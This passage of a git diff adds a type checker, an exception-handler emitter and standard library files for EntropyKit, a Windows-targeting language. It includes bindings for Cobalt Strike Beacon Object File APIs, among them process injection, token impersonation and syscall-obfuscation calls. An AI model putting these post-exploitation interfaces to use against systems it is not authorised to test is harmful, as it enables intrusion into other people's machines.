unreachable code - the previous \ + statement always exits the block (via `ret`, `break`, \ + or `continue`)" + )); + unreachable_reported = true; + } + check_stmt(s, ret_ty, fn_name, scope, errs); + if is_terminator(s) { after_terminator = true; } + } +} + +fn is_terminator(s: &Stmt) -> bool { + matches!(s, Stmt::Ret { .. } | Stmt::Break | Stmt::Continue | Stmt::Raise { .. }) +} + +/// Best-effort span for any statement. Span::default when the stmt +/// variant doesn't carry a span yet - error message degrades gracefully +/// to rather than fabricating a position. +fn stmt_span(s: &Stmt) -> Span { + match s { + Stmt::Var { span, .. } | Stmt::Ret { span, .. } + | Stmt::Raise { span, .. } => *span, + Stmt::Expr { span, value } => { + if !span.is_unknown() { *span } + else if let Expr::Call { span: cspan, .. } = value { *cspan } + else { Span::default() } + } + _ => Span::default(), + } +} + +fn check_stmt(s: &Stmt, ret_ty: &str, fn_name: &str, + scope: &mut Scope, errs: &mut Vec) { + match s { + Stmt::Var { name, ty, value, span } => { + if let Some((_, prev)) = scope.locals.get(name) { + let origin = if prev.is_unknown() { "(parameter)".into() } + else { format!("{prev}") }; + errs.push(format!( + "error[T010] at {span}: variable `{name}` is already \ + declared in this scope at {origin}. EntropyKit doesn't \ + have block scoping for `var` - every declaration is \ + visible for the rest of the function." + )); + } + // var x: void = ...; is meaningless - void exists only + // as a return type (no value) and as a pointee for void*. + if ty == "void" { + errs.push(format!( + "error[T022] at {span}: cannot declare `{name}` with type `void` - \ + `void` is a return-only type. Use `void*` for opaque pointers \ + or pick a concrete type." + )); + } + // The initialiser sees the OLD binding for name (so the + // self-reference idiom var x: int = x + 1; reads the prior + // x); the new binding goes in only after the RHS is checked. + if let Some(v) = value { + check_expr(v, *span, scope, errs); + check_assignment_compat(ty, v, scope, + &format!("var `{name}`"), *span, errs); + } + scope.locals.insert(name.clone(), (ty.clone(), *span)); + } + Stmt::Expr { value: e, .. } => check_expr(e, stmt_span(s), scope, errs), + Stmt::Ret { value, span } => { + match (ret_ty, value.as_ref()) { + ("void", Some(_)) => errs.push(format!( + "error[T023] at {span}: `fn {fn_name}() -> void` may not \ + return a value. Use a bare `ret;` to exit early." + )), + (rt, None) if rt != "void" && !rt.is_empty() => { + } + _ => {} + } + if let Some(e) = value { + check_expr(e, *span, scope, errs); + check_assignment_compat(ret_ty, e, scope, + &format!("return value of `{fn_name}`"), + *span, errs); + } + } + Stmt::Break | Stmt::Continue | Stmt::Asm(_) => {} + Stmt::Raise { value, span } => { + check_expr(value, *span, scope, errs); + } + Stmt::If { cond, then_body, else_body } => { + check_expr(cond, Span::default(), scope, errs); + check_block(then_body, ret_ty, fn_name, scope, errs); + check_block(else_body, ret_ty, fn_name, scope, errs); + } + Stmt::While { cond, body } => { + check_expr(cond, Span::default(), scope, errs); + check_block(body, ret_ty, fn_name, scope, errs); + } + Stmt::For { init, cond, step, body } => { + if let Some(i) = init { check_stmt(i, ret_ty, fn_name, scope, errs); } + if let Some(c) = cond { check_expr(c, Span::default(), scope, errs); } + if let Some(st) = step { check_stmt(st, ret_ty, fn_name, scope, errs); } + check_block(body, ret_ty, fn_name, scope, errs); + } + Stmt::Try { body, err_name, handler } => { + check_block(body, ret_ty, fn_name, scope, errs); + // err is bound inside the handler as an int sentinel today. + scope.locals.insert(err_name.clone(), ("int".into(), Span::default())); + check_block(handler, ret_ty, fn_name, scope, errs); + } + } +} + +// Expression walker - collects T001/T002/T005/T006. + +fn check_expr(e: &Expr, stmt_span: Span, scope: &mut Scope, errs: &mut Vec) { + match e { + Expr::Int(_) | Expr::Str(_) | Expr::Bool(_) | Expr::SizeOf { .. } => {} + Expr::Var(name) => { + if scope.lookup_type(name).is_none() { + errs.push(format!( + "error[T012] at {stmt_span}: use of undeclared variable \ + `{name}`. Declare it with `var {name}: = ...;` \ + before this line, or check the spelling." + )); + } + } + Expr::Assign { name, value } => { + // Assignment to a name has the same "must exist" requirement + // as reading it. Walking the RHS first matches source order + // for diagnostics. + check_expr(value, stmt_span, scope, errs); + if scope.lookup_type(name).is_none() { + errs.push(format!( + "error[T012] at {stmt_span}: assignment to undeclared \ + variable `{name}`. Declare it with `var {name}: \ + ;` first." + )); + } + } + Expr::Unary { operand, .. } => check_expr(operand, stmt_span, scope, errs), + Expr::Binary { op, lhs, rhs } => { + check_expr(lhs, stmt_span, scope, errs); + check_expr(rhs, stmt_span, scope, errs); + check_string_in_arith(op, lhs, rhs, errs); + } + Expr::Field { base, .. } => check_expr(base, stmt_span, scope, errs), + Expr::FieldAssign { base, field, value } => { + check_expr(base, stmt_span, scope, errs); + check_expr(value, stmt_span, scope, errs); + check_field_assign(base, field, value, scope, errs); + } + Expr::DerefAssign { ptr, value } => { + check_expr(ptr, stmt_span, scope, errs); + check_expr(value, stmt_span, scope, errs); + } + Expr::Cast { expr, .. } => check_expr(expr, stmt_span, scope, errs), + Expr::Index { base, index } => { + check_expr(base, stmt_span, scope, errs); + check_expr(index, stmt_span, scope, errs); + } + Expr::IndexAssign { base, index, value } => { + check_expr(base, stmt_span, scope, errs); + check_expr(index, stmt_span, scope, errs); + check_expr(value, stmt_span, scope, errs); + } + Expr::Call { ns, fname, args, span } => { + for a in args { check_expr(a, *span, scope, errs); } + check_call(ns, fname, args, *span, scope, errs); + } + Expr::StructLit { ty, fields, span } => { + for (_, e) in fields { check_expr(e, *span, scope, errs); } + let Some(decl) = scope.ctx.structs.get(ty.as_str()) else { + errs.push(format!( + "error[T013] at {span}: struct literal references undeclared \ + type `{ty}`" + )); + return; + }; + for (fname, value) in fields { + let Some((_, fty)) = decl.iter().find(|(n, _)| n == fname) else { + errs.push(format!( + "error[T013] at {span}: struct `{ty}` has no field `{fname}`" + )); + continue; + }; + check_assignment_compat(fty, value, scope, + &format!("field `{ty}.{fname}`"), *span, errs); + } + } + } +} + +// Per-rule checkers. + +fn check_call(ns: &str, fname: &str, args: &[Expr], span: Span, + scope: &mut Scope, errs: &mut Vec) { + if !ns.is_empty() { return; } + if scope.locals.contains_key(fname) || scope.ctx.statics.contains_key(fname) { + return; + } + let Some((params, _ret_ty)) = scope.ctx.fns.get(fname) else { + errs.push(format!( + "error[T001] at {span}: call to undefined function `{fname}` - \ + no `fn {fname}(...)` is declared in this program. \ + Did you mean to namespace it (e.g. `User32.{fname}` for Win32 \ + or `mem.{fname}` for a memory intrinsic)?" + )); + return; + }; + if params.len() != args.len() { + errs.push(format!( + "error[T002] at {span}: `{fname}` expects {} argument{} but got {}", + params.len(), + if params.len() == 1 { "" } else { "s" }, + args.len(), + )); + return; + } + // T005 (general mismatch) / T009 (pointer-pointee specifically) - + // per-argument type compatibility. + for (i, (param, arg)) in params.iter().zip(args.iter()).enumerate() { + let arg_ty = infer_type(arg, scope); + match compat(¶m.ty, &arg_ty, arg) { + Compat::Ok => {} + Compat::Mismatch => errs.push(format!( + "error[T005] at {span}: arg {} of `{fname}` - \ + parameter `{}` is declared `{}` but got `{}`", + i + 1, param.name, param.ty, display_type(&arg_ty), + )), + Compat::PointerPointeeMismatch => errs.push(format!( + "error[T009] at {span}: arg {} of `{fname}` - \ + parameter `{}` is `{}` but the argument is `{}`. \ + Add an explicit cast (`({})arg`) if the reinterpretation \ + is intentional.", + i + 1, param.name, param.ty, display_type(&arg_ty), param.ty, + )), + } + } +} + +fn check_assignment_compat(target_ty: &str, value: &Expr, scope: &Scope, + ctx_label: &str, span: Span, errs: &mut Vec) { + let value_ty = infer_type(value, scope); + match compat(target_ty, &value_ty, value) { + Compat::Ok => {} + Compat::Mismatch => { + // Pick T003 for var / static initialisers, T004 for return values, + // based on the label the caller passed in. Keep the code stable + // per-rule so suppression instructions remain meaningful. + let code = if ctx_label.starts_with("return value") { "T004" } else { "T003" }; + errs.push(format!( + "error[{code}] at {span}: {ctx_label} is declared `{target_ty}` \ + but the value has type `{}`", + display_type(&value_ty), + )); + } + Compat::PointerPointeeMismatch => errs.push(format!( + "error[T009] at {span}: {ctx_label} is `{target_ty}` but the value \ + is `{}`. Add an explicit cast (`({})value`) if the \ + reinterpretation is intentional.", + display_type(&value_ty), target_ty, + )), + } +} + +fn check_field_assign(base: &Expr, field: &str, value: &Expr, + scope: &Scope, errs: &mut Vec) { + let base_ty = infer_type(base, scope); + let struct_name = base_ty.trim_end_matches('*'); + let Some(fields) = scope.ctx.structs.get(struct_name) else { return; }; + let Some((_, field_ty)) = fields.iter().find(|(n, _)| n == field) else { return; }; + let value_ty = infer_type(value, scope); + match compat(field_ty, &value_ty, value) { + Compat::Ok => {} + Compat::Mismatch => errs.push(format!( + "error[T008]: field `{struct_name}.{field}` is declared `{field_ty}` \ + but the assigned value has type `{}`", + display_type(&value_ty), + )), + Compat::PointerPointeeMismatch => errs.push(format!( + "error[T009]: field `{struct_name}.{field}` is `{field_ty}` \ + but the assigned value is `{}`. Add an explicit cast \ + (`({})value`) if the reinterpretation is intentional.", + display_type(&value_ty), field_ty, + )), + } +} + +/// T006 - 1 + "hello" and friends. +fn check_string_in_arith(op: &str, lhs: &Expr, rhs: &Expr, errs: &mut Vec) { + // Bitwise + arithmetic ops that don't make sense for strings. + let is_arith = matches!(op, + "+" | "-" | "*" | "/" | "%" | + "&" | "|" | "^" | "<<" | ">>"); + if !is_arith { return; } + if let Some(s) = string_literal(lhs).or_else(|| string_literal(rhs)) { + errs.push(format!( + "error[T006]: string literal {:?} used as an operand of `{op}` - \ + EntropyKit doesn't define `{op}` on strings. Use `(u64)\"...\"` \ + to take the literal's pointer if you really want pointer math.", + truncate(s, 24), + )); + } +} + +fn string_literal(e: &Expr) -> Option<&str> { + match e { + Expr::Str(s) => Some(s.as_str()), + _ => None, + } +} + +fn truncate(s: &str, max: usize) -> String { + if s.len() <= max { s.to_string() } + else { format!("{}…", &s[..max]) } +} + +// Type inference - minimal, string-based. Returns "?" when we honestly +// don't know (avoids false positives downstream). + +fn infer_type(e: &Expr, scope: &Scope) -> String { + match e { + Expr::Int(_) => "int".into(), + Expr::Str(_) => "str".into(), + Expr::Bool(_) => "bool".into(), + Expr::SizeOf { .. } => "u64".into(), + Expr::Cast { ty, .. } => ty.clone(), + Expr::Var(name) => { + scope.lookup_type(name).map(str::to_string).unwrap_or_else(|| "?".into()) + } + Expr::Field { base, field } => { + let base_ty = infer_type(base, scope); + // T* field access auto-derefs; collapse to T for lookup. + let lookup = base_ty.trim_end_matches('*'); + scope.ctx.structs.get(lookup) + .and_then(|fields| fields.iter().find(|(n, _)| n == field).map(|(_, t)| t.clone())) + .unwrap_or_else(|| "?".into()) + } + Expr::Index { base, .. } => { + let t = infer_type(base, scope); + element_type(&t).unwrap_or_else(|| "?".into()) + } + Expr::Unary { op, operand } => { + match op.as_str() { + "*" => { + let t = infer_type(operand, scope); + pointee(&t).unwrap_or_else(|| "?".into()) + } + "&" => format!("{}*", infer_type(operand, scope)), + "-" | "~" => "int".into(), + "!" => "bool".into(), + _ => "?".into(), + } + } + Expr::Binary { op, .. } => { + match op { + op if matches!(op.as_str(), + "==" | "!=" | "<" | ">" | "<=" | ">=" | "&&" | "||") => "bool".into(), + _ => "int".into(), + } + } + Expr::Call { ns, fname, .. } => infer_call_type(ns, fname, scope), + // Assignments are statements at the source level but expressions + // at the AST level - they evaluate to the assigned value's type. + Expr::Assign { value, .. } => infer_type(value, scope), + Expr::FieldAssign { value, .. } => infer_type(value, scope), + Expr::DerefAssign { value, .. } => infer_type(value, scope), + Expr::IndexAssign { value, .. } => infer_type(value, scope), + Expr::StructLit { ty, .. } => ty.clone(), + } +} + +fn infer_call_type(ns: &str, fname: &str, scope: &Scope) -> String { + if ns.is_empty() { + return scope.ctx.fns.get(fname).map(|(_, r)| r.clone()) + .unwrap_or_else(|| "?".into()); + } + match (ns, fname) { + ("mem", "alloc") => "u64".into(), + ("mem", "set") | ("mem", "zero") | ("mem", "copy") => "u64".into(), + ("mem", "cmp") => "int".into(), + ("mem", "collect") => "int".into(), + ("shared", "get") => "u64".into(), + ("shared", "put") => "int".into(), + ("str", "format") => "str".into(), + // Anything else with a non-empty namespace is a Win32 import. + // Treat as a generic 64-bit handle/pointer - caller can cast for + // pointee-typed use. + _ => "u64".into(), + } +} + +fn element_type(ty: &str) -> Option { + if let Some(t) = ty.strip_suffix(']') { + if let Some(idx) = t.rfind('[') { + return Some(t[..idx].to_string()); + } + } + pointee(ty) +} + +fn pointee(ty: &str) -> Option { + ty.strip_suffix('*').map(|s| s.to_string()) +} + + +#[derive(PartialEq, Eq)] +enum Compat { + Ok, + /// Different type families altogether (str vs int, struct vs pointer). + Mismatch, + /// Both sides are pointers / arrays but the pointee types differ. + PointerPointeeMismatch, +} + +fn compat(target: &str, source: &str, source_expr: &Expr) -> Compat { + // Unknown source to don't fire false positives. As the inferer learns + // more, this fallback shrinks naturally. + if source == "?" || target == "?" { return Compat::Ok; } + if target == source { return Compat::Ok; } + + // Integer literal 0 is the universal null - assignable to any pointer. + if matches!(source_expr, Expr::Int(0)) && is_pointer(target) { return Compat::Ok; } + + // An explicit (T)expr cast is the user saying "trust me, treat this + // as a T." Stop further checking - the cast is the type-system escape + // hatch by design. If they wrote it wrong, that's their problem. + if matches!(source_expr, Expr::Cast { .. }) { return Compat::Ok; } + + let tf = family(target); + let sf = family(source); + + if tf == sf { + if tf == Family::Pointer { + if pointee_eq(target, source) { Compat::Ok } + else { Compat::PointerPointeeMismatch } + } else { + Compat::Ok + } + } else if matches!((tf, sf), (Family::Int, Family::Pointer) | (Family::Pointer, Family::Int)) { + // Pointer <-> integer interchange is still permitted at the slot + // level (both are 8 bytes). This is the boundary that bytes + // will tighten in a future rule. + Compat::Ok + } else { + Compat::Mismatch + } +} + +/// True when two pointer/array types denote the same element type. Strips +/// one level of * or [N] from each side, then compares. +fn pointee_eq(a: &str, b: &str) -> bool { + let ap = element_type(a).unwrap_or_default(); + let bp = element_type(b).unwrap_or_default(); + !ap.is_empty() && ap == bp +} + +#[derive(PartialEq, Eq, Clone, Copy)] +enum Family { Int, Bool, Str, Pointer, Struct, Void } + +fn family(ty: &str) -> Family { + if ty == "void" { return Family::Void; } + if is_pointer(ty) { return Family::Pointer; } + match ty { + "int" | "u64" | "i64" | "u32" | "i32" | "u16" | "i16" | "u8" | "i8" => Family::Int, + "bool" => Family::Bool, + "str" | "wstr" => Family::Str, + _ if ty.contains('[') => Family::Pointer, // array decays to pointer + _ => Family::Struct, // assume user-defined struct + } +} + +fn is_pointer(ty: &str) -> bool { ty.ends_with('*') || ty.contains('[') } + +/// Display-friendly wrapper that turns the internal "?" sentinel into a +/// less alarming "unknown" so error messages don't leak the sentinel. +fn display_type(ty: &str) -> String { + if ty == "?" { "".into() } + else { ty.to_string() } +} + diff --git a/src/veh.rs b/src/veh.rs new file mode 100644 index 0000000..942f9ce --- /dev/null +++ b/src/veh.rs @@ -0,0 +1,59 @@ + +use crate::encoder::{Cond, Encoder, Reg64}; + +pub const VEH_FN: &str = "__opsec_veh_handler"; + +/// Handle returned by AddVectoredExceptionHandler. Stored so we can +/// remove the handler at exit. +pub const VEH_HANDLE_SLOT: &str = "__opsec_veh_handle"; + +// EXCEPTION_POINTERS / EXCEPTION_RECORD / CONTEXT offsets (x64, stable +// since Vista). See winnt.h. +const EP_EXCEPTION_RECORD: i32 = 0x00; +const EP_CONTEXT_RECORD: i32 = 0x08; +const ER_EXCEPTION_CODE: i32 = 0x00; +const CTX_RAX: i32 = 0x78; +const CTX_RSP: i32 = 0x98; +const CTX_RBP: i32 = 0xA0; +const CTX_RIP: i32 = 0xF8; + +pub fn ensure_veh_slot(enc: &mut Encoder) { + if !enc.data_has(VEH_HANDLE_SLOT) { + enc.add_bss(VEH_HANDLE_SLOT, 8); + } +} + +pub fn emit_veh_handler(enc: &mut Encoder) { + use Reg64::*; + use crate::macros::{HANDLER_PC, HANDLER_RSP, HANDLER_RBP}; + + enc.place_code_label(VEH_FN); + + enc.mov_r64_data(Rax, HANDLER_PC); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".LVEH_NOT_HANDLED"); + + enc.mov_r64_r64disp(Rdx, Rcx, EP_CONTEXT_RECORD); + enc.mov_r64disp_r64(Rdx, CTX_RIP, Rax); + + enc.mov_r64_data(Rax, HANDLER_RSP); + enc.mov_r64disp_r64(Rdx, CTX_RSP, Rax); + + enc.mov_r64_data(Rax, HANDLER_RBP); + enc.mov_r64disp_r64(Rdx, CTX_RBP, Rax); + + // ExceptionCode -> Context->Rax. + enc.mov_r64_r64disp(Rcx, Rcx, EP_EXCEPTION_RECORD); + enc.mov_r32_r64disp(Rcx, Rcx, ER_EXCEPTION_CODE); + enc.mov_r64disp_r64(Rdx, CTX_RAX, Rcx); + + enc.xor_r64_r64(Rax, Rax); + enc.mov_data_r64(HANDLER_PC, Rax); + + enc.mov_r64_imm64(Rax, 0xFFFF_FFFF_FFFF_FFFF); + enc.ret(); + + enc.place_code_label(".LVEH_NOT_HANDLED"); + enc.xor_r64_r64(Rax, Rax); + enc.ret(); +} diff --git a/stdlib/Windows.h b/stdlib/Windows.h new file mode 100644 index 0000000..c3684d3 --- /dev/null +++ b/stdlib/Windows.h @@ -0,0 +1,272 @@ +#include + +/*++ BUILD Version: 0001 Increment this if a change has global effects + +Copyright (c) Microsoft Corporation. All rights reserved. + +Module Name: + + + windows.h + +Abstract: + + Master include file for Windows applications. + +--*/ + +#ifndef _WINDOWS_ +#define _WINDOWS_ + + +#include + +#ifndef _INC_WINDOWS +#define _INC_WINDOWS + +#if defined (_MSC_VER) && (_MSC_VER >= 1020) +#pragma once +#endif + +#pragma region Application Family or OneCore Family +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) + + +/* If defined, the following flags inhibit definition + * of the indicated items. + * + * NOGDICAPMASKS - CC_*, LC_*, PC_*, CP_*, TC_*, RC_ + * NOVIRTUALKEYCODES - VK_* + * NOWINMESSAGES - WM_*, EM_*, LB_*, CB_* + * NOWINSTYLES - WS_*, CS_*, ES_*, LBS_*, SBS_*, CBS_* + * NOSYSMETRICS - SM_* + * NOMENUS - MF_* + * NOICONS - IDI_* + * NOKEYSTATES - MK_* + * NOSYSCOMMANDS - SC_* + * NORASTEROPS - Binary and Tertiary raster ops + * NOSHOWWINDOW - SW_* + * OEMRESOURCE - OEM Resource values + * NOATOM - Atom Manager routines + * NOCLIPBOARD - Clipboard routines + * NOCOLOR - Screen colors + * NOCTLMGR - Control and Dialog routines + * NODRAWTEXT - DrawText() and DT_* + * NOGDI - All GDI defines and routines + * NOKERNEL - All KERNEL defines and routines + * NOUSER - All USER defines and routines + * NONLS - All NLS defines and routines + * NOMB - MB_* and MessageBox() + * NOMEMMGR - GMEM_*, LMEM_*, GHND, LHND, associated routines + * NOMETAFILE - typedef METAFILEPICT + * NOMINMAX - Macros min(a,b) and max(a,b) + * NOMSG - typedef MSG and associated routines + * NOOPENFILE - OpenFile(), OemToAnsi, AnsiToOem, and OF_* + * NOSCROLL - SB_* and scrolling routines + * NOSERVICE - All Service Controller routines, SERVICE_ equates, etc. + * NOSOUND - Sound driver routines + * NOTEXTMETRIC - typedef TEXTMETRIC and associated routines + * NOWH - SetWindowsHook and WH_* + * NOWINOFFSETS - GWL_*, GCL_*, associated routines + * NOCOMM - COMM driver routines + * NOKANJI - Kanji support stuff. + * NOHELP - Help engine interface. + * NOPROFILER - Profiler interface. + * NODEFERWINDOWPOS - DeferWindowPos routines + * NOMCX - Modem Configuration Extensions + */ + +#if defined(RC_INVOKED) && !defined(NOWINRES) + +#include + +#else + +#if defined(RC_INVOKED) +/* Turn off a bunch of stuff to ensure that RC files compile OK. */ +#define NOATOM +#define NOGDI +#define NOGDICAPMASKS +#define NOMETAFILE +#define NOMINMAX +#define NOMSG +#define NOOPENFILE +#define NORASTEROPS +#define NOSCROLL +#define NOSOUND +#define NOSYSMETRICS +#define NOTEXTMETRIC +#define NOWH +#define NOCOMM +#define NOKANJI +#define NOCRYPT +#define NOMCX +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_IX86) +#define _X86_ +#if !defined(_CHPE_X86_ARM64_) && defined(_M_HYBRID) +#define _CHPE_X86_ARM64_ +#endif +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_AMD64) +#define _AMD64_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_ARM) +#define _ARM_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_ARM64) +#define _ARM64_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_M68K) +#define _68K_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_MPPC) +#define _MPPC_ +#endif + +#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_M_IX86) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_IA64) +#if !defined(_IA64_) +#define _IA64_ +#endif /* !_IA64_ */ +#endif + +#ifndef _MAC +#if defined(_68K_) || defined(_MPPC_) +#define _MAC +#endif +#endif + +#if defined (_MSC_VER) +#if ( _MSC_VER >= 800 ) +#ifndef __cplusplus +#pragma warning(disable:4116) /* TYPE_ALIGNMENT generates this - move it */ + /* outside the warning push/pop scope. */ +#endif +#endif +#endif + +#ifndef RC_INVOKED +#if ( _MSC_VER >= 800 ) +#pragma warning(disable:4514) +#ifndef __WINDOWS_DONT_DISABLE_PRAGMA_PACK_WARNING__ +#pragma warning(disable:4103) +#endif +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4001) +#pragma warning(disable:4201) +#pragma warning(disable:4214) +#endif +#include +#include +#endif /* RC_INVOKED */ + +#include +#include +#include +#include +#if !defined(_MAC) || defined(_WIN32NLS) +#include +#endif +#ifndef _MAC +#include +#include +#endif +#if !defined(_MAC) || defined(_WIN32REG) +#include +#endif +#ifndef _MAC +#include +#endif + +#ifndef WIN32_LEAN_AND_MEAN +#include +#include +#include +#include +#ifndef _MAC +#include +#include +#include +#include +#endif +#include +#ifndef _MAC +#include +#include +#endif +#ifndef NOCRYPT +#include +#include +#include +#endif + +#ifndef NOGDI +#ifndef _MAC +#include +#ifdef INC_OLE1 +#include +#else +#include +#endif /* !INC_OLE1 */ +#endif /* !MAC */ +#include +#endif /* !NOGDI */ +#endif /* WIN32_LEAN_AND_MEAN */ + +#include + +#ifdef _MAC +#include +#endif + + +#ifdef INC_OLE2 +#include +#endif /* INC_OLE2 */ + +#ifndef _MAC +#ifndef NOSERVICE +#include +#endif + +#if(WINVER >= 0x0400) +#ifndef NOMCX +#include +#endif /* NOMCX */ + +#ifndef NOIME +#include +#endif +#endif /* WINVER >= 0x0400 */ +#endif + +#ifndef RC_INVOKED +#if ( _MSC_VER >= 800 ) +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning(default:4001) +#pragma warning(default:4201) +#pragma warning(default:4214) +/* Leave 4514 disabled. It's an unneeded warning anyway. */ +#endif +#endif +#endif /* RC_INVOKED */ + +#endif /* RC_INVOKED */ + +#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) */ +#pragma endregion + +#endif /* _INC_WINDOWS */ + +#endif /* _WINDOWS_ */ + diff --git a/stdlib/bof.etpy b/stdlib/bof.etpy new file mode 100644 index 0000000..d41f94c --- /dev/null +++ b/stdlib/bof.etpy @@ -0,0 +1,132 @@ + +// Constants (CALLBACK_* values for BeaconPrintf / BeaconOutput). +// Match beacon.h so existing BOFs can be ported verbatim. + +static CALLBACK_OUTPUT: int = 0x0; +static CALLBACK_OUTPUT_OEM: int = 0x1e; +static CALLBACK_OUTPUT_UTF8: int = 0x20; +static CALLBACK_ERROR: int = 0x0d; + + +struct datap { + original: char*, + buffer: char*, + length: int, + size: int, +} + + +struct formatp { + original: char*, + buffer: char*, + length: int, + size: int, +} + +// Output - print / emit data back to the operator. + +extern fn BeaconPrintf(kind: int, fmt: str) -> void; +extern fn BeaconOutput(kind: int, data: char*, len: int) -> void; + +// Input parsing - pull args out of the packed buffer Beacon hands go. + +extern fn BeaconDataParse(parser: datap*, buffer: char*, size: int) -> void; +extern fn BeaconDataInt(parser: datap*) -> int; +extern fn BeaconDataShort(parser: datap*) -> int; +extern fn BeaconDataLength(parser: datap*) -> int; +extern fn BeaconDataExtract(parser: datap*, size: int*) -> char*; + +// Format - build up an output buffer in chunks, emit all at once. + +extern fn BeaconFormatAlloc(format: formatp*, maxsz: int) -> void; +extern fn BeaconFormatReset(format: formatp*) -> void; +extern fn BeaconFormatFree(format: formatp*) -> void; +extern fn BeaconFormatAppend(format: formatp*, text: char*, len: int) -> void; +extern fn BeaconFormatPrintf(format: formatp*, fmt: str) -> void; +extern fn BeaconFormatToString(format: formatp*, size: int*) -> char*; +// Real Beacon writes the int big-endian (matches Aggressor's +// bof_pack convention). Our local harness does the same so a BOF +// that round-trips an int through Format/Data agrees on byte order. +extern fn BeaconFormatInt(format: formatp*, value: int) -> void; + +// Token impersonation / context queries. + +extern fn BeaconUseToken(token: void*) -> bool; +extern fn BeaconRevertToken() -> void; +extern fn BeaconIsAdmin() -> bool; + +// Process injection helpers. Beacon owns the target-process state +// so the BOF doesn't have to track sacrificial-process handles. + +extern fn BeaconGetSpawnTo(x86: bool, buffer: char*, length: int) -> void; +extern fn BeaconInjectProcess( + process_handle: void*, + pid: int, + payload: char*, + p_length: int, + p_offset: int, + arg: char*, + a_length: int) -> void; +extern fn BeaconInjectTemporaryProcess( + process_info: void*, + payload: char*, + p_length: int, + p_offset: int, + arg: char*, + a_length: int) -> void; +extern fn BeaconCleanupProcess(process_info: void*) -> void; +extern fn BeaconSpawnTemporaryProcess( + x86: bool, + ignore_token: bool, + si: void*, + process_info: void*) -> bool; + +// Utility. + +extern fn toWideChar(src: char*, dst: u16*, max: int) -> bool; + + +extern fn BeaconAddValue(key: char*, ptr: void*) -> bool; +extern fn BeaconGetValue(key: char*) -> void*; +extern fn BeaconRemoveValue(key: char*) -> bool; + + +struct BEACON_INFO { + // The real struct has ~15 fields. We expose the size by reserving + // a 256-byte block; user code reads specific offsets via casts + // if it needs particular fields until we ship a typed wrapper. + raw: u8[256], +} + +extern fn BeaconInformation(info: BEACON_INFO*) -> bool; + +// Error reporting (Cobalt Strike 4.10+). + +extern fn BeaconIsErrorMessage(type_: int, fmt: str) -> void; + + +extern fn BeaconGetCustomUserData() -> void*; + + +extern fn BeaconDataStoreGetItem(index: int) -> void*; +extern fn BeaconDataStoreProtectItem(index: int) -> void; +extern fn BeaconDataStoreUnprotectItem(index: int) -> void; + + +extern fn BeaconGate(vftable_p: void*, indices_p: void*) -> bool; +extern fn BeaconGateReturnValue() -> char*; +extern fn BeaconDisableBeaconGate() -> bool; +extern fn BeaconEnableBeaconGate() -> bool; + +// Current syscall obfuscation config. Struct shape is loader-private; +// reserve 64 bytes and cast as needed. +struct BEACON_SYSCALL_INFO { + raw: u8[64], +} + +extern fn BeaconGetSyscallInformation(info: BEACON_SYSCALL_INFO*) -> bool; + + +extern fn BeaconAddCommand(command: char*, function: void*) -> bool; +extern fn BeaconRemoveCommand(command: char*) -> bool; +extern fn BeaconGetCommand(command: char*) -> void*; diff --git a/stdlib/bytes.etpy b/stdlib/bytes.etpy new file mode 100644 index 0000000..0ac4d64 --- /dev/null +++ b/stdlib/bytes.etpy @@ -0,0 +1,57 @@ + +struct bytes { + ptr: u8*, + len: u64, +} + +// bytes_new - heap-allocate n zero bytes and return the buffer. +fn bytes_new(n: u64) -> bytes { + var p: u64 = mem.alloc(n); + mem.zero(p, n); + ret bytes { ptr: (u8*)p, len: n }; +} + +// bytes_wrap - wrap an externally-owned pointer + length into a +// bytes value without copying. Useful when reading a buffer that the +// runtime already owns (a Win32 OUT param, shared memory, etc.). +fn bytes_wrap(p: u8*, n: u64) -> bytes { + ret bytes { ptr: p, len: n }; +} + +// bytes_len - element count (in bytes). +fn bytes_len(b: bytes) -> u64 { + ret b.len; +} + +// bytes_get - bounds-checked read of one byte. Raises 0xB0 if +// i >= b.len; caller handles via try { } catch e { ... }. +fn bytes_get(b: bytes, i: u64) -> u8 { + if i >= b.len { raise 0xB0; } + ret b.ptr[i]; +} + +// bytes_set - bounds-checked write of one byte. Same raise +// semantics as bytes_get. +fn bytes_set(b: bytes, i: u64, v: u8) -> int { + if i >= b.len { raise 0xB0; } + b.ptr[i] = v; + ret 0; +} + +// bytes_copy - copy min bytes; returns the +// number of bytes actually copied. No allocation, no resizing - both +// buffers must already exist with the desired sizes. +fn bytes_copy(dst: bytes, src: bytes) -> u64 { + var n: u64 = src.len; + if dst.len < n { n = dst.len; } + mem.copy(dst.ptr, src.ptr, n); + ret n; +} + +// bytes_cmp - 0 iff a and b have identical contents (including +// length). Non-zero otherwise. Constant-ish time within the shorter +// length; mirrors mem.cmp semantics. +fn bytes_cmp(a: bytes, b: bytes) -> int { + if a.len != b.len { ret 1; } + ret mem.cmp(a.ptr, b.ptr, a.len); +} diff --git a/stdlib/list.etpy b/stdlib/list.etpy new file mode 100644 index 0000000..ae5be29 --- /dev/null +++ b/stdlib/list.etpy @@ 